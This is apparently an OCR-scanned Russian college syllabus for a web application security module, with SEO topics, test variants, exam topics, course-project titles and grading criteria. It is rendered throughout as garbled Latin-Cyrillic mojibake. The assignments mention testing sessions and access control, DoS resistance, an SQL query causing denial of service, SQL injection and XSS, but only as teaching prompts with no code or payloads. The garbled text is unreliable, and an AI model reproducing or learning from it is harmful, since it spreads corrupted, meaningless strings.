33. Buayrpennsis SEO ontummuzanus caiira.

34. SMO - ontumusanys Qi COLUAIBHBIX MEIUA.

35. OnTuMm3anys CTpaHHUIL caiTa.

36. CTpykTypupOBaHUE COJCpKaHMS CaiTa.

37. OnTuMu3anys Colep KaHus canra.

38. OnTumm3anys n300paxeHuid caiTa.

39. Hcnons30BaHUE UCXOMAINX CCHUTOK.

40. TexHuueckas ONTAMU3ALMS CANTOB.

41. YnydmeHue noBeieHIeCKuX (HakTOpoB caiTa.

42. Nupekcamus caiira.

43. Konsepranus Tpaduka.

44, Buemrusst mouckoBast onrumusanust (SEO).

45. CriocoOBI TPOABMIKEHUS CAUTOB.

46. YBenuueHHE TTOCENIAEMOCTH CaiTa.

47. OnTuMH3anus CTPyKTYpHI caiiTa.

48. TlpumeneHve mprdTOBOH KOMIO3UIMH NIPU CO3/[AHUU CalTa.
49. Hcnonws3oBaHue OaHHEPOB.

MJK 03.03 O6ecnieuenue 6e30MacCHOCTH BeO-MPUII0KEHHI
Bonpocwl 012 noozomoeku Kk KOHmMpoabHOU padome
Bapuant Ne 1

BreimonauTe  TecTHMpoBaHWE — 3AIMIIEHHOCTH  MEXaHW3Ma  YIpaBJICHUS  JOCTYIIOM
UCCIIeIyeMOoro BeO- mpuiiokenus. [IpuBennure mpuMepsl CpeCTB TECTUPOBAHUSI 3AIIUIIEHHOCTH
MEeXaHU3Ma YIPaBJICHUs CECCUSIMH B BEO-TIPUITOKCHUSX.
Bapuant Ne 2
BrimontaNTe  TECTHpOBaHUE MCCIIEyeMOTo BeO-ipriiokeHus. [Ipennoxure MexaHusm
BOCCTAHOBJICHHSI ITAPOJICH BEO-TIPHUIIOKEHUS.
Bapuant Ne 3

BrinonauTe TeCTUpPOBaHME 3AUIICHHOCTH MEXaHU3Ma YITPaBJIEHUS CECCUSIMU UCCIIEAYEMOT0
BeO- mpuioxkeHus. [IpuBenute mpuMepsl CpPeNCTB TECTHPOBAHUS 3aAIIMIIEHHOCTH MEXaHHU3Ma
VIPaBIEHUS CECCUSMHU HUCCIIETyEeMOT0 BEO-TIPUIOKEHUSI.
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Bapuant Ne 4
BeimonHuTe TECTUpOBAaHHME YCTOMUMBOCTH BeO-mipwiokeHHs K DoS-arakam Ha ypoBHE

nporokonga HTTP. IlpuBeguTe METOOBI W CpEACTBA TECTUPOBAHUS BEO-TPUIOKEHUNM Ha
YCTOMUYUBOCTH K aTakaM OTKa3a B obciyxuBanuu (DoS-arakam).
Bapuant Ne §

BrimonnauTe TECTHpOBaHKWE YCTOWYMBOCTH BeO-TIpHiIokeHust K DoS-aTakam Ha ypoBHe
npotokona HTTP. [Ipoananu3upyiite, Kak MOKHO IO KOCBEHHBIM ITPU3HAKAM OINPEIACTUTh
ySI3BEMOCTh BeO-cepBepa

Bapuanrt Ne 6
[TpoTecTupyiite CKOpOCTh 3arpy3ku caiita. Ilepeuncinre criocoObl yCKOpEHUs 3arpy3KH caifra.

Bapuant Ne 7

Pa3mecture BeO-TpUIOKEHUE B CETH B COOTBETCTBUU C TEXHUYECKHMM 3ajaHueM. [IpuBenute
MIPUMEPBI CUCTEM YIPABJICHHUS CAiTOM, UX JOCTOMHCTBA U HEJIOCTATKHU.
Bapuant Ne 8

[Toctpoiite u BbemmonHute SQL-3ampoc, mpuBOAAIIMI K OTKasy B OOCTy)KMBaHUU BeO-
NpUWIOKEHUs. B ueM 3akiroyaeTcsi TEXHMYECKOE COMPOBOKIECHUE canTa?
Bapuant Ne 9

[Ipemioxute crnocoObl OpraHU3aMM  3aIIUMIIEHHOTO YAAJEHHOro JocTyma. KakoBbl
0COOCHHOCTH YIIPABIICHUS JOCTYIOM K BEO-TIPUIOKEHUSIM?
Bapuant Ne 10

Hccnenyiite MUHUMAIIBHO JOMYCTUMYIO AJTUHY M CIOXHOCTh MapoJiei B aHATH3UPYEMOM BeO-
npuwioxenuu. [Ipeanoxxure crnocoOb! MOBBIICHHS HAICKHOCTH TTAPOJIBLHOMN 3aUTHI.

3amanme 3.
Bapuant Ne 1

[IpoBenuTe ayaut 3amanHoro caiita. [lepeuricnute 6a30BbIe cOCTaBIsIONIME ayauTa caifta. C
KaKOM I1eJIbI0 TTPOBOIUTCS ayIUT caiTa’?

Bapuant Ne 2

[Ipennoxure crieHapuid aTaku, UCTOJIb3YIOIINA HEJOCTATOK aHHYJIUPOBAHUS CECCUU TOJBKO
Ha KJIMEHTCKON CTOpoHEe BeO-npuinoxeHus. [IpuBeaute npumepsl aTak Ha BeO-TPUITOKEHHUS.
Bapuaunt Ne 3

[Iposeaute SEO-ontummzanuio ucciaeayemoro cairta. KakoBa uens SEO-onTumuzanuun
CTpaHMI] caiiTa?
Bapuant Ne 4

[IpoBeanTe TEXHUUECKYIO ONTUMH3ALMIO HCCIEayeMoro caita. ONHUIINTE TEXHUYECKHE
XapaKTepUCTUKU cailTa.
Bapuant Ne 5

[Ipoananu3upyiite moBeaeH4Yeckre GpakTopsl UccieryemMoro caifta. Kakue mokasarenu caiita
OTHOCSITCS] K TTIOBEJICHYECKUM?
Bapuant Ne 6

Cobepute CTAaTUCTHYECKYI0 MHQPOpPMAIUIO O PaboTe MCCIEAYEeMOTo BEO-TIPHIIOKEHUS IS
aHanu3a 3¢ hekTuBHOCTH ero padboTsl. KakuM 06pazoM MOXKHO MOBBICUTH 3((HEKTUBHOCTH pabOThI
Be0- MpHII0KEeHU?
Bapuant Ne 7

[Ipemnoxute MepOnmpusATHS TIO TPOJBIKCHHIO HCCIEIYEeMOTr0 BEO-TIPHIOKEHUS B
WH(OPMAIIMOHHO- TEIEKOMMYHHUKAIMOHHON ceTu MuTepHeT. HazoBuTe crocoObl MpoIBHKEHUS
CalTOB.
Bapuant Ne 8

[Ipennoxute cnocoObl MOJIEPHU3AIMH UCCIETYEMOT0 BEO-MIPHIIOKEHUS C YUETOM MPaBMI U
HOPM MOJATOTOBKHM WH(OpMAnuUu sl MOUCKOBBIX cHUCTeM. HazoBuTe CrOCOOBI ONTHMH3AINH
CTPYKTYPHI CaiiTa.

Bapuant Ne 9
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[IpemnoxuTe cmocoOBl 3amMTHl  HUccienyeMoro caiita. [lpuBeaute mnpuMepsl yrpos
0e30MacHOCTH caifTa.
Bapuant Ne 10

OnuiuTe 3324l aIMUHUCTPUPOBAHUSA UCCIeayeMoro caidta. Kak agMuHuCTpaTop peuiaer
BONPOCHI o0ecrieueHus 6€30MacHOCTH caiita?

Ilepeuenv npakmuueckux 3a0anuii 0711 NOO20MOBKU K oughghpepenyuposannomy 3auemy
OcHoBHbBIE TOHATHS WH()OPMAITMOHHON OE30IMACHOCTH BEO-TIPUIIOKEHUH.

OCHOBHbBIE IPUHIIMITBI TOCTPOSHUSI O€30MaCHBIX CAalTOB.

[TonsiTe 6€30MaCHOCTH MPUIIOKEHUH U KITACCH(PHUKAIMS OTTACHOCTEH.

VcTouHnky yrpo3 HHPOPMALMOHHOM 6€30M1aCHOCTH U MEPBI IO UX MPEAOTBPALLEHUIO.
PernamenTsl n MeTO/IbI pa3pabOTKK OE30MaCHBIX BEO-TTPUIIOKECHUH.

be3zonacHas ayreHTu(uUKaLus.

be3onacnas aBropuzanus.

IToBbIIIEHUE TTPUBUIIETHM.

OO6m1ast 0TKa30yCTONYMBOCTH CUCTEMBI.

0. IIpoBepka KOPPEKTHOCTH JIaHHBIX, BBOJUMBIX I10JIb30BATEIIEM.

11. Tly6nukanus uzoOpaxeHui u Ganios.

12. Mertozas! muppoBaHusl.

13. SQL-uabekmmm.

14. XSS-uabBEKIINN.

15. Mertoabl U CpeaCcTBa TECTUPOBAHMS 3AIIUIICHHOCTH MEXaHW3Ma YIPABJICHHUS JIOCTYIIOM B BEO-
HPUIIOKEHHUSAX.

16. Mertoabl U cpencTBa TECTUPOBAHUS 3AlUILEHHOCTH MEXaHU3Ma YIpaBJIEHUS CECCUSIMU B BEO-
MPUITIOKCHHUSX.

17. Metoabl U cpeacTBa TECTUPOBAaHUS BEO-IPUIIOKEHHUH HAa YCTOMYMBOCTH K aTakaM OTKas3a B
obcnyxuBannu (DoS-atakam).

18. Meronsl M cpeicTBa MJIEHTH(PUKALMU M SKCIUIyaTallud YS3BUMOCTEH BeO-TpUIIOKEHUH
K arakam XSS.

19. Meronsl U cpeacTBa MAESHTHU(PHUKALMU U SKCIUTyaTallud YA3BMMOCTEH B BEO-TPUIIOKEHUSIX K
arakam SQL-injection.

20. Amnamu3 u knaccudukanus yrpo3 MHGOpPMaIMOHHONW 6€30MaCHOCTH.

21. Awnanmu3 yrpo3 6€30MmacHOCTH B KOMIIBIOTEPHBIX CETSIX.

22. OCHOBHbIE MOHATHS OJUTUKH HH(POPMAIIMOHHOI 0€30MacHOCTH.

23. CtpykTypa MOTUTHKH WHPOPMAIIMOHHOHN 0€301MacHOCTH OpTraHU3aIHH.

24. Ponb craniapToB MH(YOPMAITMOHHON GE€30MaCHOCTH.

25. MexayHapoaHbIe CTaHAAPTH HHPOPMAITMOHHONW OE30MTaCHOCTH.

26. OteuyecTBEHHBIE CTaHAAPTHI 0€30IMAaCHOCTH MH(POPMAITMOHHBIX TEXHOJIOTHH.

27. Wnpentnduranus, ayTeHTH(OUKAIUST U aBTOPHU3AIHS CyOBEKTOB IOCTYTIA.

28. 3ammra ot BpegoHocHoro I10.

29. OCHOBHBIE TIOHATHS KPUITOTpaQUIECKON 3alIUTHI HHPOPMAIINH.

30. CuMMeTpuYHbIE KPUIITOCUCTEMBI IU(POBAHHUSL.

31. AcuMMeTpHUYHBIE KPUTITOCUCTEMBI ITHU(PPOBAHHUS.

32. AyrenTtudukanus, aBTOpu3aLus U aMUHUCTPUPOBAHHE ACHCTBUH MOIB30BATEICH.

33. Mertoabl ayTeHTHPHUKAIMH, UCTIOJIB3YIOIINE TTAPOITH.

34. buomerpuueckas ayTeHTU(UKALMS [T0JIb30BATEIS.

35. ®opmupoBaHKE TOJUTHKH MEKCETEBOT'O B3aMOICHCTBHS.

36. VYmnpasieHue uaeHTU()UKALUEH U JOCTYIIOM.

37. OcoOEHHOCTH YIPABJICHHS TOCTYIIOM.

38. Opranuzanyus 3alIMIICHHOTO YIAJIEHHOTO JOCTYIIA.

39. Knaccudukanus BpeJOHOCHBIX MPOTPaMM.

40. OOGnauHas aHTUBUPYCHASI TEXHOJIOTHSL.

BOoNoOORWN
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41. 3anmaum ynpaBieHUs HHPOPMAITMOHHON 0€30MacHOCTHIO.

42. O0630p COBPEMEHHBIX CUCTEM YIPABICHHUS O€30MaCHOCTBIO.

43. Aynuat ¥ MOHUTOPHUHT O€30MaCHOCTH.

44. Ha3zHaueHHE OCHOBHBIX CPEJICTB 3aIUTHI.

45. AHTUBHPYCHBIC KOMIUICKCHI.

46. 3ammra or DD0S-arak.

47. TlpenoTBpallleHHuE BTOPKEHHUIN CHCTEMHOTO YPOBHSI.

48. CpencTsa ¥ MPOTOKOJIBI AyTEHTH(PUKAIIUN YAAICHHBIX TOJB30BaTEIICH.
49. 3amuTta 6€CIIPOBOIHBIX CETEH.

50. Cranpaptel HHPOpPMAIMOHHOW Oe3onacHOCTH s HTepHeTa.

Temuwt Kypcoevix pabom:
[TpoexTrpoBaHue U pa3paboTKa MHTEPHET-Mara3uHa (C y4eToM crelu(pHUKU MpeiaaraeMbix
TOBapoOB).
2. IlpoextupoBaHnue u pa3paboTka caiita and nOpeanpusaTus (C  ydeToM creuuduku
JEeSTEIIbHOCTH MPEATIPUATHSA).
[TpoexTrpoBaHue 1 pazpaboTka web-IpuiIoKeHus U1l yueOHOro LIEHTpa.
[TpoexTrupoBanue u pa3paboTka web-npuIoKeHHs 1151 TOProBOM OpraHu3aluy.
[TpoexTrpoBaHue u pa3paboTKa Web-IpUII0KEHUs U1 IPOBEACHUS TECTUPOBAHUS.
[TpoexTupoBanue u pa3paboTka web-npuIoKeHus A1 CEpBUCHOTO IIEHTpa.
[TpoexTrpoBaHue u pazpaboTka web-IpuiIoKeHus Il MEAULIMHCKOTO LIEHTpa.
[TpoexTupoBanue u pa3paboTka web-npuIoKeHus 1 LEHTpa AETCKOro TBOPYECTBA.
[TpoexTrpoBaHue u pa3paboTka Web-IpuiIoKeHHs Ul TYPUCTUYECKOTO areHTCTRA.
10. IlpoexTrpoBanne M pa3paboTka web-pUIoKeHus il JOOPOBOIBHON OpraHM3aluu 10
3aIUTE KUBOTHBIX.
11. [IpoexkTupoBanue u pa3paboTka web-IIpHIIOKEHUs IJs MOJATOTOBKHM K cAaue SK3aMeHa B
I'MBJ.
12. TlpoexTrpoBaHue U pa3padoTKa Web-TIPHIIOKEHUs T OMOIHOTEKH.
13. IlpoexTrpoBaHue u pa3paboTka Web-IpHII0KEeHUs I OITOBON TOPrOBOM OpraHU3altu.
14. TIpoexTrpoBanue U pazpadoTka Web-NpuIoKeHus 17151 KOJUI-IIEHTpa.
15. IlpoexTrpoBaHue 1 pa3padboTKa Web-IpUIIOKEHUs I U3Y4EHUs] HHOCTPAHHBIX SI3bIKOB.
16. IlpoexTrpoBaHue 1 pa3padboTKa Web-TIPHIIOKEHUS TS y4eTa JTHYHBIX (PUHAHCOB.
17. IlpoexTrpoBaHue 1 pa3paboTka web-IpuiI0KeHUs] TPAaHCIIOPTHOM KOMITAaHHUH.

©CoOoNOO AW

3. Kpurepuu ouneHnBanus

Kpumepuu oyenusanus evtnoinenusa 3a0aHull NPAKMUYECKUX 3AHAMUL

Ornenka "omauuno” — 3alaHNe BBITIOTHEHO B TIOJTHOM 00beMe, JJaHbI MPAaBWIIHLHBIC OTBETHI HAa
KOHTPOJIbHBIE BOIIPOCHI, C/IETAHbI IOTHUYECKH TOYHBIE BBIBOJIBI.

Omnenka "xopowto” — 3ajanue BBITIOTHEHO B MOJHOM 00beMe, JaHbl IPABUIILHBIE OTBETHI Ha
KOHTPOJIbHBIE BOIIPOCHI, HE BCE BHIBOJIbI JIOTUYECKH TOUHBI U TIPABUIIBHBI.

Ornenka "yoosremseopumenvro” — 3agaHue BBITIOJIHEHO B TOJHOM 00bEMe, €CTh OMUOKH B
OTBETaX Ha KOHTPOJIbHBIE BOIIPOCHI, HE BCE€ BBIBOJIbI IPABUIIbHBIE.

Orenka "neyooenemeopumenvro” — 3alaHie HE BBHITIOJIHEHO, OTBETOB HET, BHIBOJIOB HET.

Kpumepuu oyenueanus 6plnoninenus u 3auiumasl Kypcogoi padomul

Oyenka «OmMAuYHO» — TPOEKT BBHITIOJIHEH B MOJHOM 00BEME M MOJHOCTHIO COOTBETCTBYET
TEXHUUYECKOMY 3aJjaHHI0, 0(OPMIICHHE JOKJIaJa COOTBETCTBYET TPEOOBAaHUSAM, NMPEAbIBISIEMbIM B
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o0Opa3oBaTeNbHON OpraHu3aluy, [OKJIaJl TpPaMOTHBIM, Mpe3eHTaluss COOTBETCTBYET BCEM
TpeOOBaHUAM.

Oyenka «xopouio» — IIPOEKT BHITIOIHEH B TIOJTHOM 00beMe, UMEIOTCSI HEOOIbIIINE HETOPAOOTKH
M0 TEXHUYECKOMY 33JIJaHUI0, He3HAUUTEIIbHBIE HEIOUYEThHI B 0()OPMIICHUH IPE3CHTAIIUN U TIOJJTOTOBKU
JOKJIaja.

Oyenka «y0061emeopumenbHo» — TPOEKT HE BBINOJHEH B MOJHOM O00BEME, HUMEIOTCS
HeA0paOOTKHU MO TEXHUYECKOMY 3a/IaHUI0, HEA0YEThl B 0(hOPMIICHHUH, €CTh 3aMeUaHus 10 JOKIaIy U
[IpEe3EHTALUH.

Oyenka «neyoosriemeopumenbHo» — MPOEKT BbINOIHEH MeHee yeM Ha 30%, odopmieHue
NPE3CHTAIlMH HE COOTBETCTBYET TPEOOBAHUIM, MPEABSIBISIEMbIM B 00pa30BaTEIbHON OpraHU3aliH,
JOKJIa]] HE TOTOB.

Kpumepuu oueHueanun KOHmI)OJleOﬁ paﬁombt:

omauuno" —
Ouenka " " — 3a7jaHK€e BBIIOJHEHO B IIOJIHOM 00beME, TaHbI IIPAaBUJIbLHLIE OTBETHI Ha
KOHTPOJIbHBIE BOIIPOCHI, C/IETAHbI JIOTHUYECKH TOYHBIC BBIBOIBI.
xopowio" —
Onenka " " — 3aaHU€e BBINOJHEHO B IIOJHOM O0OBbEMeE, JaHbl MPAaBUJIbHEIE OTBETHI HA
KOHTPOJIbHBIE BOIIPOCHI, HE BCE BHIBOJIBI JIOTUYECKH TOUHBI U TIPABUIIHHBI.
Onenka "yoosremeopumenvno” — 3a7aHue BBITIOJIHEHO B TIOJIHOM OOBEME, €CTh OIIUOKH B
OTBETaX Ha KOHTPOJIbHBIE BOIIPOCHI, HE BCE BBIBOJIBI ITPABUIIbHBIC.
HeyooeremeopumenvHo " — .
Ouenka "Heyo " — 3ajaHne HEe BBIIIOJIHEHO, OTBETOB HET, BBIBOJIOB HET

Kpumepuu oyenueanusa oughgpepenyuposannozo 3auema

Ouenka "omauuno” —

1. T'myGokoe u mpoYHOE YCBOCHHE MMPOTrPAMMHOTO MaTepHuaa.

2. 3HaHWE MAKEeTOB MPUKIIATHBIX POTPAMM.

3. 3HaHMe OCHOBHBIX MPHUHIIMIIOB IOCTPOCHHUS TAKETOB MPUKIIAIHBIX IPOTPAMM.
4. 3HaHue OCHOBHBIX 3a/1a4 MPUKJIAJIHBIX MPOTPAMM.

5. CBoOo/1HOE BIIaJIeHHE MMaKeTaMU MPUKIAIHBIX TPOrPaMM.

6. TouHOCTH M OOOCHOBAHHOCTH BHIBOJIOB.

7. be3ommbo4HOe BBINMOIHEHNE TPAKTHUECKOTO 3aJaHMs.

8. TouHble, MOTHBIC U JIOTHYHBIC OTBETHI HA JIOTIOJTHUTEIHHBIC BOTIPOCHI.

Ouenka "xopowo" —

Xopoliiee 3HaHUE TPOTPAMMHOTO MaTepHaa.

HenocraTouHo NOTHOE H3II0KEHHE TEOPETUIECKOTO BOIIPOCa SK3aMEHAI[MOHHOTO OHJIeTa.
Hannuve He3HAYUTENBHBIX HETOYHOCTEHN B YIOTPEOIEHUN TEPMUHOB, KIIaCCU(PUKALIUN.
3HaHHE OCHOBHBIX MAKETOB MPUKIIATHBIX POTPAMM.

HemnonHoTa npeacTaBneHHOro WLTIOCTPATUBHOTO MaTepraa.

TouHOCTH 1 000CHOBAHHOCTH BBIBOJIOB.

Jloru4Hoe M3J0KEHHUE BOMIPOCA, COOTBETCTBUE U3II0KEHUS HAYYHOMY CTHIIIO.

Herpy0ast ommOKka pu BBITIOJTHEHUH MPAKTUYSCKOTO 3a/IaHN.

NN E

Ouenka "yoosremsopumenvro” —

[ToBepXHOCTHOE YCBOEHHE IPOIPaMMHOI0 MaTepHala.

HenoctaTouHo mosiHOE U3/10KEHHE TEOPETHUECKOI0 BOMPOCa 3K3aMEHAI[MOHHOTO OuIeTa.
3aTpyIHEHUE B IPUBEIECHUY IPUMEPOB, IOATBEP/KAAIOIINX TEOPETUUECKNE TIOJI0KEHNUS.
Hannyue HeToOuHOCTEH B YyIIOTpeOJIeHNH TEPMUHOB, KIacCU(UKAITUH.

Heymenue yeTko copMynupoBaTh BHIBOJBI.

OTcyTCcTBHE HABBIKOB HAYYHOT'O CTHJISL M3JIOKEHUSI.

['py6ast ommOKa B MPaKTUYECKOM 33aHUH.

NoabkwhE
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Herounsle oTBETHI HA AOIMOJTHUTEIIbHBIC BOIIPOCHI.

OueHka "neyodoenemeopumenvHo” —

arONE

Hesnanue 3Ha4NTENBLHOM YaCcTH IPOrPAaMMHOIO MaTepuania.
HecnocoOGHOCTh NpUBECTH MPUMEPHI IAKETOB MPUKJIAJHBIX POrpaMM
Heymenue BbIeHUTh TTIaBHOE, CCNIATh BHIBOJIBI M 0000IIECHUS.
['pyOble OmMOKY Mpy BHIOJHEHUN PAKTUYECKOTO 3aJaHMsL.
HenpasuiibHbIe OTBETHI HA JOIOJIHUTEIBHBIE BOIIPOCHI.

Kpumepuu OUeCHUBAHUA IK3AMEHA

Onenka "omauuno” —

['mybokoe ¥ mpoYHOE YCBOSHUE MIPOrPAaMMHOT0 MaTepHaa.

. 3HaHWE AKETOB IMPHUKJIIAIHBIX ITPOI'paMM.
. 3HaHHE OCHOBHBIX IMPUHIUIIOB ITOCTPOCHHUA MMAKETOB MPUKIIAJHBIX ITPOrpaMM.

1
2
3
4.
5
6
7
8

3HaHHE OCHOBHBIX 3a/lav IPUKIIaJHBIX IIPpOrpaMM.

. CBOOOHOE BIaICHUE NTAKETaMU IPUKIIAHBIX IPOTPaMM.

. TouHOCTB M 0OOCHOBaHHOCTH BHIBOJIOB.

. be3ommnbo4uHoe BBITOJIHEHUE MMPAKTUYCCKOI'0O 3aiaHus.

. TouHsle, OHBIE ¥ JTOTWYHBIE OTBETHI HA JJOMOJIHUTEIBHBIE BOTIPOCHI.

Ouenka "xopowo"” —

N~ WNE

Xopolee 3HaHUe MPOrpaMMHOI0 MaTepuasa.

HenocraTouHo noiaHOE U3/105KEHHE TEOPETUYECKOT0 BOIIPOCa SK3aMEHAI[MOHHOTO OueTa.
Hanunune He3HaUUTENBHBIX HETOYHOCTEN B YHOTPEOIEHUN TEPMUHOB, KJIaCCU(DUKAITHH.
3HaHME OCHOBHBIX MTAKETOB MPUKJIATHBIX IPOTPAMM.

HenonnoTta npeacTaBieHHOro WILTIOCTPATUBHOTO MaTepuaa.

To4HOCTb 1 0O0CHOBAHHOCTH BBIBOIOB.

JlornuHoe u310KeHNUE BOIIPOCa, COOTBETCTBUE U3JIOKEHUS HAYYHOMY CTHIIIO.

Herpy6as omubka mpy BBINOJIHEHUH TPAKTUYECKOTO 331aHuUsI.

Onenka "yoosnemeopumenvno” —

NN R

[ToBepXHOCTHOE YCBOEHHE IIPOrPAMMHOIO MaTepHalla.

HenocraTouHo noiaHOE U37105KEHHE TEOPETUYECKOT0 BOIIPOCa SK3aMEHAI[MOHHOTO OujIeTa.
3aTpyaHEeHUE B IPUBEJCHUH IPUMEPOB, TIOATBEPKIAIOLINX TEOPETHUECKHUE MTOJI0KEHHUS.
Hanuune HetouHoctelt B ynoTpeOiIeHud TEPMUHOB, KilacCU(UKaLU.

Heymenue yetko chopMynnpoBaTh BHIBOBI.

OTtcyTcTBHE HABBIKOB HAYYHOT'O CTHJISL M3JI0KEHUS.

['pyOas ommbKa B IpaKTUUECKOM 3aJaHHH.

HerouHble 0TBETHI Ha TONOJHUTEIBHBIE BOIIPOCHI.

Onuenka "neyoosnemeopumenvro" —

asrONE

Hes3nanue 3HaUUTENBHOM YaCTH TPOrPaMMHOTO MaTepHaa.
HecrnocoOGHOCTS IpUBECTH TPUMEPHI MAKETOB MPUKIATHBIX POTPAMM
Heymenue BbIICUTH T1aBHOE, C/I€IaTh BHIBOJIBI M 0000IIICHMS.
['pyObie omMOKH MPH BHIMTOTHEHUH MPAKTUYECKOTO 3a/1aHUS.
HenpaBunbHbIE OTBETHI HA JONOJIHUTEIBHBIE BOIIPOCHI.



